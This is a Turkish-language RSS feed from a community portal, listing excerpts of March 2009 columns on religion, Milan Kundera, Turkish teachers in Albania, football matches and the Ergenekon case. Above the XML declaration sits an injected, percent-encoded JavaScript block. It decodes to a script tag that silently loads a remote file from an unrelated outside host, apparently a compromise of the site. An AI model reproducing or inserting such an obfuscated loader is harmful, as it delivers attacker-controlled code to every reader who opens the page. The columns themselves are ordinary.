
<SCRIPT Language="JavaScript">
<!--
document.write(unescape("%3C%73%63%72%69%70%74 %74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%73%6E%66%6F%72%75%6D%2E%74%6B%2F%76%65%72%73%69%79%6F%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A"));
//-->
</SCRIPT><?xml version="1.0" encoding="windows-1254"?><rss version="2.0"><channel><title>CcPortal.Net - için özet akışı..</title><link>http://www.cercikoyu.net</link><description>abone konusu eklenir</description><webMaster>admin@cercikoyu.net</webMaster><copyright>Hazırlayan: Nazım Eşref Çoraklı</copyright><language>tr-TR</language><item><title>Hayal ettiğimiz dünya</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=15&baslik=hayal_ettigimiz_dunya</link><description>BİR dünya... Yemyeşil ormanlarla kaplı. Tertemiz sularla çevrili. Caddelerinde gülümseyen, yarınından endişesi olmayan insanların koşuşturduğu, birbirlerine sevecen ve nazikçe davrandığı bir dünya.

Tahammüllü, anlayışlı, kızmayan, kırmayan, affeden insanlarla dolu bir dünya. Kaşlarını çatmayan, alnını buruşturmayan, kendinden emin ve çevresinden ürkmeyen insanların yaşadığı bir dünya. Kırılmayan ve ama kırmayan bir dünya.

Kalpler temiz, yüzler temiz, vicdanlar temiz, eller temiz, ayaklar temiz, diller temiz, gözler temiz, ruhlar temiz, cepler temiz, kazançlar temiz, harcamalar temiz, sözler temiz, tenkitler temiz, sokaklar, caddeler, evler, arabalar velhasıl görünen görünmeyen her yer temiz... Özlem bu ya... Arzular suç olmaz ya!..

* * *

Dinlerin amacı, hele en son ve en mükemmel din olan İslam'ın amacı böyle bir dünya. Savaşa harcanan paraların fakire, yoksula, ilaca harcandığı bir dünya. Üniversitelerin ve laboratuvarların, bilimsel merkezlerin; insanın sağlığı, esenliği, huzuru,...</description><author>ebuzer</author><category>Okunma: 285</category><pubDate>21-Mar-2009 23:58:26</pubDate></item><item><title>Bir yazar daha küstü...</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=14&baslik=bir_yazar_daha_kustu...</link><description>Bir yazar düşünün, dünyaca ünlü. Bir yazar düşünün, kitapları hemen hemen her dile çevrilmiş olsun; hikaye, roman ve denemeleri iz bıraksın zihinlerde; ismi ulusal, bölgesel sınırları aşsın fersah fersah. Ve şimdi bu yazar küskün, köşesine çekilmiş, medyadan ısrarla uzak duruyor, gazetecilerle tek kelime konuşmuyor. Uzaktan takip ediyorum. Buruk bir merakla. Anlamaya çalışıyorum, anlayabildiğimce.

Bahsettiğim yazar Milan Kundera. Dünya edebiyatının en özgün ve saygın isimlerinden biri. 20. yüzyılda, totaliter rejimlerde bireylerin akıl ve ruh sağlıklarını nasıl yitirdiğinin tanıklığını yaptı hem de senelerce. Keskin bir mizah, bolca ironi, şüphecilik ve zekice sunulmuş eleştirilerle yaptı bunu. Bireyselliğin, yaratıcılığın, çoğulculuğun ve özgürlüğün sembolü olarak algılandı. Ancak nicedir ortalıkta dolanan bir iddia Kundera'yı zor durumda bırakmakta. Respekt dergisinin ortaya attığı bir sav bu. Kundera 1950 senesinde bir arkadaşını casuslukla itham edip gizlice polise ispiyonlamakla ...</description><author>ebuzer</author><category>Okunma: 257</category><pubDate>21-Mar-2009 23:56:07</pubDate></item><item><title>Gidip dönmeyenler</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=13&baslik=gidip_donmeyenler</link><description>Önden giden cefâkar atlılardan bazıları bir daha geri dönemediler. Arnavutluk'a giden eğitim gönüllüsü adanmış ruhlardan Celal, Kadri ve Murat Beyler de bunlardan...

1966 doğumlu Celâl Ergüder Bey Hataylı. Çok samimi, alçak gönüllü ve cana yakın bir öğretmen olarak herkesle iyi geçinir, herkes tarafından sevilirdi. İngilizcesi çok iyi idi. Arnavutluk'a ilk gelenlerdendi. 8 Ağustos 1992'de gelmiş ve Arnavutluk'a ilk gelen heyete tercümanlık yapmıştı... 

1994-1995 eğitim yılının sonunda da memleketi olan İskenderun'a giderken arkadaşları ile Polatlı girişinde elim bir kaza geçirerek vefat etmişti. 

Arnavutluk'a gelirken, yanında sadece bir çanta eşyası vardı. Dönüş sırasında da yanında yine aynı çanta vardı... Zaten Arnavutluk'tan ayrılırken, vefatını hissetmiş gibi neyi varsa hepsini arkadaşlarına ve müesseseye bırakmıştı. 

Bu cömert ve alçak gönüllü öğretmenimizin vefatından sonra iki tane fakir öğrencinin her türlü giderlerini tam olarak karşıladığı, fark edildi. Çünkü öğrenciler,...</description><author>ebuzer</author><category>Okunma: 233</category><pubDate>21-Mar-2009 23:54:51</pubDate></item><item><title>Uzatmaları oynuyor</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=12&baslik=uzatmalari_oynuyor</link><description>Aslında Kocaelispor maçının yorumunu aynen koysak yeridir. Çünkü sadece rakibin adını değiştirin Bursaspor yazın yeter. Oyunun hemen başında öne geçiyorsunuz, ardından son dakikalarda bu kez maçı veriyorsunuz.
Bursaspor ikinci yarıda savunmasını orta sahaya kadar çıkardı. Hatta Semih ve Güiza ile Ömer ve İbrahim ikiye iki oynamaya başladılar. Herhalde Türkiye’nin en kötü kontratak yapan takımı Fenerbahçe’dir. Böyle elverişli bir ortamı başka bir takım affetmezdi. Ailece hücum yapan bir rakibe karşı sayısız pozisyon bulabilecekleri halde hiçbir şey üretemediler. 1.5 pozisyonu olan Bursaspor ile üç puanı aldı.
Rakibin oyun sistemi belli. Sercan ile etkili olmak istediler. Sercan’ın savunma arkasına yapacağı driplinglerle şans bulurlarsa bulacaklardı. Bir de karambollerden bir şey çıkarsa diye dua ettiler. Bunun dışında B planı yoktu. Nitekim beraberlik golü de duran toptan geldi. Fenerbahçeliler ceza alanında fazla olmalarına rağmen golü yediler. 
Fenerbahçe Alex olmayınca tipik 4-4-2 oy...</description><author>ebuzer</author><category>Okunma: 240</category><pubDate>21-Mar-2009 23:53:51</pubDate></item><item><title>Heyecan</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=11&baslik=heyecan</link><description>Trabzon kazanmak için her şeyi yaptı. Galatasaray ise öne geçmesine rağmen oyunu tutmak adına hiçbir adım atmadı

Karşılaşma öncesi müthiş bir ortam vardı Trabzon’da. Hem taraftar, hem Trabzonsporlu oyuncuların bu maçı heyecanla bekledikleri, aşırı konsantrasyonlarından belliydi. Ama taraftarın heyecanı maça tempolu başlamak isteyen Trabzonspor’a zarar verdi. Sahaya atılan konfetiler yüzünden oyun durunca takım ister istemez soğudu. Ardından golden sonra bu kez saha dışı faktörü devreye girdi, elektrikler gitti. Bu da Trabzonspor’u durdurdu. Yine ikinci yarı tüm kontrolü eline geçiren ve rakibini bunaltmaya başlayan Trabzonspor’un hızı bu kez 61. dakikada atılan balonlar yüzünden kesildi. Devamında da ikinci golü yediler.
Trabzonspor kazanmak için her şeyi yaptı. Galatasaray ise öne geçmesine rağmen oyunu tutmak adına hiçbir adım atmadı. Bülent hoca Lincoln ile olan özel problemi yüzünden iki forvetin birini çıkarıp, daha çok pas yapmayı düşünmedi. Sahaya zaten riskli bir kadro ile çık...</description><author>admin</author><category>Okunma: 76</category><pubDate>16-Mar-2009 16:12:59</pubDate></item><item><title>Edebiyat konuşmak...</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=10&baslik=edebiyat_konusmak...</link><description>Bir salon düşünün. Tavanları işlemeli ve yüksek. İçi her yaştan kadınlarla dolu. Gencecik üniversite talebeleri, asistanlar, öğretim üyeleri ve o öğretim üyelerini vaktiyle yetiştiren kuşak, yani hocaların hocaları ve kürsü başkanları oturuyor sandalyelerde. Her konumdan, kademeden kadın var belki ama kimse kimseye tepeden bakmıyor, hiyerarşiler kurmuyor.

Son derece kıdemli, çalışmaları kıymetli bir öğretim üyesi de, üniversiteye henüz başlamış gencecik biri de eşit söz alıyor, konuşuyor ve birbirlerini saygıyla dinliyor. Çünkü öylesine eşitlikçi ve dost bir ortam var burada. İstanbul Üniversitesi Kadın Çalışmaları'nın düzenlediği renkli, dinamik, interaktif bir etkinlik. Buradaki öğrencileri görünce umutla doluyor içiniz. Zihinleri ne kadar berrak, okuyan, tartışan, yüreğiyle konuşan bir kuşak geliyor diyorsunuz. Konumuz edebiyat ve kadın. Kadınlık, yaratıcılık, kız kardeşlik... Konuşacak o kadar çok konu var ki; zaman yetmiyor, su gibi akıp geçiyor saatler. 

Yaklaşık on gün sonra i...</description><author>ebuzer</author><category>Okunma: 249</category><pubDate>15-Mar-2009 00:28:41</pubDate></item><item><title>Türk kolejleri</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=9&baslik=turk_kolejleri</link><description>1992'de Özel Yamanlar Koleji'nde yapılan Liselerarası Dünya Güreş Turnuvası'nda Arnavutluk takımı heyeti, Yamanlar Koleji'ne hayran kalmış ve okul idaresini Arnavutluk'a davet ederek, benzer bir kolejin Tiran'da açılmasını teklif etmişti.

Yapılan görüşmeler ve anlaşmalar neticesi, çalışmalar başlamış, tahsis edilen bina eğitime hazır hâle getirilerek 15 Şubat 1993 Pazartesi günü eğitime başlanılmıştı. Tiran merkezinde açılan ilk kolejin ismi Mehmet Akif Koleji idi. 

Resmî açılış için, 19 Şubat günü dost ve kardeş Arnavutluk'u dönemin Cumhurbaşkanı Turgut Özal'ın ziyareti beklenildi. 

Önce kolej öğrencileri Sayın Cumhurbaşkanımız Arnavutluk'a hoş geldiniz pankartı ile kendisini havaalanında karşıladılar. Uçağın kapısından çıkınca merhum Özal, önce öğrencileri el sallayarak selamladı. Sonra kendisini karşılayan Arnavutluk Cumhurbaşkanı Sali Berişa ile selamlaştı. Sonra, yüz metre ileride bekleyen öğrencilerle tek tek tokalaştı. Hemen geri dönüp uçağın yanında bekleyen protokolün yanın...</description><author>ebuzer</author><category>Okunma: 85</category><pubDate>15-Mar-2009 00:27:25</pubDate></item><item><title>Günahları örtün ki Allah da örtsün!</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=8&baslik=gunahlari_ortun_ki_allah_da_ortsun_</link><description>HANGİMİZİN günahı yok ki? Hangimiz melek kadar temiz, saf ve berrağız. Hiçbirimiz. Her birimizin kendimize göre bir günahı vardır.

Kimimiz gıybet etmişizdir, kimimiz hak yemişiz, kimimiz haram kazanıp haram tüketmişiz, kimimiz komşumuzu rahatsız etmişiz, kimimiz daha başka günahlar işlemişizdir. En azından kalbimizle bile olsa günah işlemişizdir. Kötülük düşünüp kalbimize leke sıçratmışızdır.

Bu günahlardan hangisinden tövbe ettik veya tövbe ettiğimiz hangi günahımız bağışlandı. Bilmiyoruz. Yüce Allah bizim hakkımızda nasıl bir karar verecek, bunu da hiçbirimiz bilmiyoruz. Bildiğimiz tek şey, Allah'ın rahmetinden ümit kesemeyeceğimizdir. Çünkü ümitsiz insan imanını da yitirebilir. Yaşama sevincini, direncini kaybeder. 

* * *

Son zamanlarda günah ve hata arama timleri kurduk sanki. Birbirimizin günahlarını dedektörle aramaya başladık. Aslında olması gereken bu değildir. Belki tam zıttı. Bizler kendi hatalarımızı görmeliyiz. Başkalarından önce kendimize bakmalıyız. İyilikte kendimizd...</description><author>ebuzer</author><category>Okunma: 73</category><pubDate>14-Mar-2009 03:20:48</pubDate></item><item><title>Doğruysa da Yandık Yalansa da Yandık..</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=7&baslik=dogruysa_da_yanndik_yalansa_da_yanndik..</link><description>Ergenekon Soruşturmasında 2. İddianame de piyasa çıktı. İddianamelerin içeriğini tartışacak durumda değilim. Bildiğim bir şey varsa, bu iddianamenin doğru olması da, yalan yanlışolması da benim açımdan bu ülke hakkında çok olumsuz şeyler düşünmemeneden olacak. Diyelim ki, iddianamede iddia edilenler doğru. O zaman ortaya şöyle bir tablo çıkıyor:Bu ülkede 27 yıldır terörle mücadele eden Türk Ordusunun içinde PKKgibi, DHKPC gibi, Hizbullah gibi terör örgütlerini yönetenler var.Bunlar değerli Türk vatandaşlarını öldürmekten veya öldürtmektenkaçınmamışlar. Onbinlerce Türk vatandaşının ölümüne neden olmuşlar, buülkenin inanılmaz bir para, zaman ve güç kaybetmesine yol açmışlar Siz bu ülkede kendinizi güven içinde mutlu ve huzurlu hissedebilir misiniz? Diyelim ki, iddianamede iddia edilenler yalan yanlış. O zaman ortaya çıkan tablo da vahamet açısından çok da geri kalmıyor: Bu ülkede bir kaç savcı, bir kaç hakim ve onlara destek veren bir grupsiyasetçi kendi emelleri için her şeyi yapabili...</description><author>admin</author><category>Okunma: 261</category><pubDate>12-Mar-2009 20:20:31</pubDate></item><item><title>Hayal ettiğimiz dünya</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=6&baslik=hayal_ettigimiz_dunya</link><description>BıR dünya... Yemyeşil ormanlarla kaplı. Tertemiz sularla çevrili. Caddelerinde gülümseyen, yarınından endişesi olmayan insanların koşuşturduğu, birbirlerine sevecen ve nazikçe davrandığı bir dünya.Tahammüllü, anlayışlı, kızmayan, kırmayan, affeden insanlarla dolu bir dünya. Kaşlarını çatmayan, alnını buruşturmayan, kendinden emin ve çevresinden ürkmeyen insanların yaşadığı bir dünya. Kırılmayan ve ama kırmayan bir dünya.Kalpler temiz, yüzler temiz, vicdanlar temiz, eller temiz, ayaklar temiz, diller temiz, gözler temiz, ruhlar temiz, cepler temiz, kazançlar temiz, harcamalar temiz, sözler temiz, tenkitler temiz, sokaklar, caddeler, evler, arabalar velhasıl görünen görünmeyen her yer temiz... Özlem bu ya... Arzular suç olmaz ya!..* * *Dinlerin amacı, hele en son ve en mükemmel din olan ıslam'ın amacı böyle bir dünya. Savaşa harcanan paraların fakire, yoksula, ilaca harcandığı bir dünya. Üniversitelerin ve laboratuvarların, bilimsel merkezlerin; insanın sağlığı, esenliği, huzuru, refahı,...</description><author>admin</author><category>Okunma: 97</category><pubDate>12-Mar-2009 20:01:48</pubDate></item><item><title>20 Dakika Yetti</title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=5&baslik=20_dakika_yetti</link><description>Son iki maçta savunmayı ön planda tutan, hücumda sıkıntılar yaşayan Galatasaray bu kez oyunun ofansif bölümünü de 10 kişi kalana kadar başarıyla uyguladı Galatasaray, hakikaten Avrupa’da bir başka oynuyor. Futbolcuları maça hazırlamanıza bile gerek yok. Çünkü kendilerinden motive oluyorlar, sorumluluklarını iyi biliyorlar, tükenene kadar savaşıyorlar. Dün gece de yine aynısı oldu. Düşünün son dakikada takımın en önemli ismi Meira’yı Almanya’ya giderken havalimanından Rusya’ya uğurluyorsunuz, Hakan Balta’yı stopere çekiyorsunuz. O yetmiyor Emre Aşık atılıyor, bu kez Kewell’ı son yarım saatte o bölgede oynatıyorsunuz. Böyle bir tablo ile inanın hangi takım karşı karşıya kalsa maçın sonunu getiremezdi. Ama Galatasaray her zamanki gibi zoru başardı. Aslında Hamburg’a karşı ilk 20 dakikadaki akıllı futbol yeterli oldu. Son iki maçta savunmayı ön planda tutan, hücumda sıkıntılar yaşayan Galatasaray bu kez oyunun ofansif bölümünü de 10 kişi kalana kadar başarıyla uyguladı. Önde pres yaptı, ko...</description><author>admin</author><category>Okunma: 94</category><pubDate>12-Mar-2009 19:46:25</pubDate></item><item><title>Bunker ve bankerler </title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=4&baslik=bunker_ve_bankerler_</link><description>Arnavutluk'ta gezerken dağ, tepe ve orman fark etmiyor; her tarafta büyüklü küçüklü, tosbağaya benzer mantar gibi her yanı sarmış bunker denilen koruganları görüyorsunuz. Ülkede bunlardan 800 bin tane varmış. Yani bütün ailelere yetecek kadar yaptırılmış. Dağların içleri cephanelik dolu... Bunkerleri parçalayıp temizlemek ve içlerindeki çelikleri çıkarıp almak çok masraflı olduğu için, onlara şimdilik dokunmuyorlar ama cephaneleri alıp demirlerini eriterek kullanmak istiyorlar. Geçen sene top mermilerinin barutlarını ayırıp demirlerini çıkarmak isterken büyük bir patlama oldu ve 33 kişi öldü... Bu güzel ülke tam bağımsızlığına kavuştu derken bir de banker fâciası ile sarsıldı. Kur'an-ı Kerim, faize yenik düşmüş toplumları sara hastalığına müptelâ olmuş bir vücuda benzetmektedir: Fâiz yiyenler, tıpkı şeytanın çarptığı kimsenin uykudan kalktığı gibi kalkarlar. Bu onların, 'Alışveriş de faiz gibidir.' demelerindendir. Halbuki Allah, alışverişi mubah, faizi ise haram kılmıştır. (Bakara Svv...</description><author>admin</author><category>Okunma: 84</category><pubDate>12-Mar-2009 19:38:06</pubDate></item><item><title>Kadınların mizah duygusu erkeklerden daha mı zayıf? </title><link>http://www.cercikoyu.net/koseyazi.asp?kose=goster&amp_kosene=3&baslik=kadinlarin_mizah_duygusu_erkeklerden_daha_mi_zayif?_</link><description>Önce güzel haber: Tüm dünyayı sallayan ekonomik krize rağmen Türkiye'de sinema seyircisinin giderek arttığı, buna koşut olarak sinema sektörünün büyüdüğü gözlemleniyor. Kriz insanların sinemaya gidiş alışkanlıklarını baltalamışa benzemiyor. Hatta belki de tam tersine bir etki söz konusu. En azından şimdilik! Aynı şey kitap alma ve okuma alışkanlıklarımız hususunda da geçerli. Kitap alışlarda krizle paralel giden bir düşüş yok. Ve bu alanda da bir artış yaşanabilir. Bunlar şüphesiz sevindirici haberler. Peki kriz Türkiye'de sinema ve edebiyata olan ilgiyi zedelememişse, okur ve seyirci oranını düşürmemişse, acaba daha farklı ve daha soyut bir etkisi olmuş olabilir mi? Sadece ekonomik değil, yaşadığımız tüm siyasi ve toplumsal belirsizlikler bu dönemde ortaya çıkan film ve kitapların içeriğini, hatta tarzını etkiliyor olabilir mi? Henüz üzerinde düşünmediğimiz, cevabını kestiremediğimiz bir soru bu. Ama şimdilik düşünce egzersizine devam edelim: Mesela, tesadüf mü dersiniz son zamanlarda...</description><author>admin</author><category>Okunma: 60</category><pubDate>12-Mar-2009 19:23:27</pubDate></item></channel></rss>